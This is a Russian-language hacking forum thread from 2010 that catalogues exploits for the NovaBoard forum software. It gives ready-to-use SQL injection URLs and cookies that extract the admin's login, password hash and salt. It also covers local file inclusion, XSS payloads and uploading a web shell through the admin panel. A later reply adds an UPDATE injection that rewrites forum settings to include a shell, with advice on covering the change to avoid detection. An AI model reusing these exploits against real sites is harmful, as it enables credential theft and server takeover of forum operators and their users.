Форумы [Обзор уязвимостей NovaBoard]

Discussion in 'Уязвимости CMS/форумов' started by RulleR, 5 Jan 2010.

  1. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Обзор уязвимостей NovaBoard Forum

    Official site: www.novaboard.net
    Latest release: NovaBoard v1.1.2

    ------------------------------------------------------------------------------
    Default table prefix: novaboard_
    Table with users: members
    Columns:
    Code:
    |id|name|usertitle|email|role|password|password_time|pass_salt|theme|board_lang|time_offset|read_all_posts|avatar|remote_avatar|signature|location|nationality|msn|aol|yahoo|skype|xbox|wii|ps3|last_online|warn_level|suspend_date|whiteboard|register_date|verified|user_posts|banned|new_pms|allow_admin_email|moderate|subscribe_pm|never_spam|
    Алгоритм хэширования паролей:
    Code:
    // Generate salt...
    $salt = substr(md5(uniqid(rand(), true)), 0, 9);
    // Salt the password
    $password= [COLOR=White]md5($password . $salt)[/COLOR];
    
    ------------------------------------------------------------------------------

    SQL injection

    #1
    Vuln file: /includes/pages/search.php
    Code:
    /*...*/
    $forum=implode(",",$_GET['forums']);
    $forum = htmlentities($forum);
    $forum = escape_string($forum);
    /*...*/
    $sql989 = "SELECT MEMBER, TIME, TOPIC_ID, FORUM_ID, CONTENT, ID, EDIT_TIME, EDIT_MEMBER, MATCH(TITLE, DESCRIPTION, CONTENT) AGAINST ('*$searchstring*' IN BOOLEAN MODE) AS score FROM {$db_prefix}posts WHERE FORUM_ID IN($forum) AND TIME >= '$startdate' AND TIME <= '$enddate' AND MEMBER='$id' AND APPROVED='1' AND MATCH(TITLE, DESCRIPTION, CONTENT) AGAINST ('*$searchstring*' IN BOOLEAN MODE) ORDER BY score DESC";
    }
    /*...*/
    
    Exploit:
    Code:
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[]=1[COLOR=White])+union+select+null,null,null,5,concat_ws(0x3a,name,password,pass_salt),null,null,null,null+from+[/COLOR][COLOR=Red][prefix][/COLOR][COLOR=White]members+where+id=1+--+[/COLOR]
    #2
    Vuln file: /includes/forums/addreply.php
    Code:
    if ($_COOKIE['mqpid']!=''){
    
    $array=array($_COOKIE['mqpid']);
    $array = implode(",",$array);
    $quote="";
    
    $query217 = "select MEMBER, CONTENT, TOPIC_ID, ID  from {$db_prefix}posts WHERE ID IN($array) ORDER BY ID desc";
    $result217 = mysql_query($query217) or die("addreply.php - Error in query: $query217") ;  
    
    Need: user account
    Exploit:
    Code:
    GET http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php?func=addreply&topic=1 HTTP/1.0
    
    Cookie: mqpid=1[COLOR=White]) union select null,concat_ws(0x3a,name,password,pass_salt),null,null from[/COLOR] [COLOR=Red][prefix][/COLOR][COLOR=White]members where id=1/*[/COLOR]
    #3
    Vuln file: /includes/header.php
    Code:
    /*...*/
    		if (isset($_GET['topic']) && ($_GET['page']!='search')){
    
    			$location_text="";
    
    			$query211 = "select CONTENT from {$db_prefix}posts WHERE TOPIC_ID='$topic' AND TITLE!=''";
    			$result211 = mysql_query($query211) or die("topic.php - Error in query: $query211");
    /*...*/
    
    Need: magic_quotes = OFF
    Exploit:
    Code:
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php?page=list&forum=1&topic=xek[COLOR=White]'+union+select+concat_ws(0x3a,name,password,pass_salt)+from+[/COLOR][COLOR=Red][prefix][/COLOR][COLOR=White]members+where+id=1+--+[/COLOR]
    Note: Вывод ищем в исходном коде страницы:
    Code:
    <meta name="description" content="{login:hash:salt}" />
    Local File Inclusion

    Vuln file: /includes/structure.php
    Code:
    /*...*/
    			$page	=	escape_string($_GET['page']);
    /*...*/
    		if (file_exists("themes/$theme/includes/pages/$page.php")){
    			include "themes/$theme/includes/pages/$page.php";
    		}
    		elseif (include("includes/pages/$page.php")){
    		}
    /*...*/
    Exploit:
    Code:
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php?page=[COLOR=White]../../download[/COLOR]
    Note: null byte экранируется...


    Active XSS
    Exploit:
    Code:
    [img][COLOR=White]javascript:alert(1)[/COLOR][/img]
    Note: уязвимость в add reply


    Passive XSS
    Exploit:
    Code:
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php?page=search&search=xek&topic=1[COLOR=White]"><script>alert(1)</script>[/COLOR]
    
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php?page=search&search=xek&author_id=1[COLOR=White]"><script>alert(1)</script>[/COLOR]
    
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php?page=search&search=xek&author=1[COLOR=White]"><script>alert(1)</script>[/COLOR]
    
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php?page=search&search=xek&startdate=1[COLOR=White]"><script>alert(1)</script>[/COLOR]
    
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php?page=search&search=xek&enddate=1[COLOR=White]"><script>alert(1)</script>[/COLOR]
    
    XSS in URI
    Exploit:
    Code:
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php[COLOR=White]/"><script>alert(1)</script>[/COLOR]
    Disclosure of Table Prefix
    Exploit:
    Code:
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php?topic=1&limit=[COLOR=White]x[/COLOR]
    Note: на это форум выдаст примерно такую ошибку:
    ------------------------------------------------------------------------------
    Upload shell from Admin CP

    Пакуем шелл winzip'ом
    Далее переходим в Admin CP --> Board Settings --> Modules Settings
    аплодим наш чудо-модуль..
    Шелл будет находиться в /modules/[name_shell].php

    Таким же способом можно залить через Themes Settings
    шелл будет в папке themes
    ------------------------------------------------------------------------------
    P.S. все найденные уязвимости тестировались на NovaBoard v1.1.2. Есть большая вероятность что эти уязвимости будут работать и на более ранних версиях.
     
    #1 RulleR, 5 Jan 2010
    Last edited: 5 Jan 2010
    13 people like this.
  2. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    отлично.
    от себя добавлю, вход в админку по хешу.
    Создаем cookie:
     
    3 people like this.
  3. RedX

    RedX Member

    Joined:
    12 Jun 2008
    Messages:
    40
    Likes Received:
    13
    Reputations:
    4
    Вышла версия 1.1.3 SQL-Inj в поиске пофиксили точно!
     
  4. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    RulleR подтолкнул меня вспомнить об этом топике на форуме
    Двиг понравился, потестил, добавляю от себя 5 копеек.
    Тестил на последней 1.1.4
    Code:
    http://www.novaboard.net/2010/06/novaboard-release-1-1-4/
    1) LFI
    ---------------------------------
    Need
    Rg=on
    mq=off
    ---------------------------------
    structure.php
    PHP:
        if (isset($_GET['forum']) && is_numeric($_GET['forum'])){

                
    $forum_id        =    $_GET['forum'];

                
    $query2            =    "select THEME from {$db_prefix}categories WHERE ID = '$forum_id'" ;
                
    $result2        =    mysql_query($query2) or die("structure.php - Error in query: $query2");
                
    $num_result        =    mysql_num_rows($result2);
                if (
    $num_result!='0'){
                    
    $category_theme    =    mysql_result($result20);
                }
                else{
                    
    $category_theme    =    "";
                }    

            }
            
            if (isset(
    $category_theme) && ($category_theme!='')){
                
    $theme    =    $category_theme;
            }
    // need register_globals
    ........................................
    if (isset(
    $category_theme) && ($category_theme!='')){
                
    $theme    =    $category_theme;
    ........................................
    if (
    file_exists("themes/$theme/includes/header.php")){
                include 
    "themes/$theme/includes/header.php";
            }
    .........................................
    Как юзать
    Code:
    http://localhost/nova/index.php?category_theme=../../../../../../../../../[local_file]%00
    2) Нашел еще скули требующие rg=on и mq=off
    Выложу только самую интересную.
    verify.php
    PHP:
    if ($_GET['id']!=''){
    $hash_id=$_GET['id'];
    $hash_id=escape_string($hash_id);

    mysql_query("UPDATE {$db_prefix}members SET verified = '1' WHERE md5(pass_salt) = '$hash_id'");

    $sql="SELECT ID, NAME FROM {$db_prefix}members WHERE md5(pass_salt) = '$hash_id'";
    $sql_result mysql_query($sql) or die ("download.php - Error in query: $sql");
    while(
    $row mysql_fetch_array($sql_result)) {
        
    $new_id $row['ID'];
        
    $name$row['NAME'];
    }
    // register_globals=on
    mysql_query("UPDATE {$db_prefix}settings SET stats_member_id='$new_id', stats_member_name='$name', stats_members=stats_members+1");
    инъект в Update
    таблица settings хранит основные настройки форума, мы ее можем update ;)
    ---------------------------
    need
    rg=on
    mq=off
    ---------------------------
    как юзать.
    Если куки не очищены-> чистим
    применить можно по разному
    1. вывести данные админа
    Code:
    http://localhost/nova/index.php?page=verify&id=1222&name=1',site_name=(select%20concat(name,0x3a,password,0x3a,pass_salt)%20from%20novaboard_members%20where%20id=1)+--+
    идем на главную страницу, вывод палим в имени форума. Не забудьте потом вернуть на место. ато палево.
    2. LFI через скуль
    если пользователь не авторизован, то инклудится стандартная тема, название которой берется из этой таблицы
    structure.php
    PHP:
    $query2        =    "select THEME from {$db_prefix}settings" ;
            
    $result2    =    mysql_query($query2) or die("Have you run install.php yet?") ;                                  
            
    $theme        =    mysql_result($result20);
    .......................
            if (
    file_exists("themes/$theme/includes/header.php")){
                include 
    "themes/$theme/includes/header.php";
            }
    .......................
    Code:
    http://localhost/nova/index.php?page=verify&id=1222&name=1',theme='../../../../../../../[local_file]%00'+--+
    теперь идем на главную страницу, и вместо нее будет висеть проинклуденный файл(если инклудить аватар с пхп кодом шелла, вместо главной страницы будет висеть шелл) Тоже надо не забыть вернуть потом на место тему которая была ато палево.
    -----------------------------------------
    можно заюзать эту багу и без условий mq и rg, но нужны права админа. Писать не буду, так как смысл отпадает, RulleR уже написал, как имея права админа без палева шелл впендюрить
    Усе
     
    #4 The matrix, 1 Jul 2010
    Last edited: 1 Jul 2010
    3 people like this.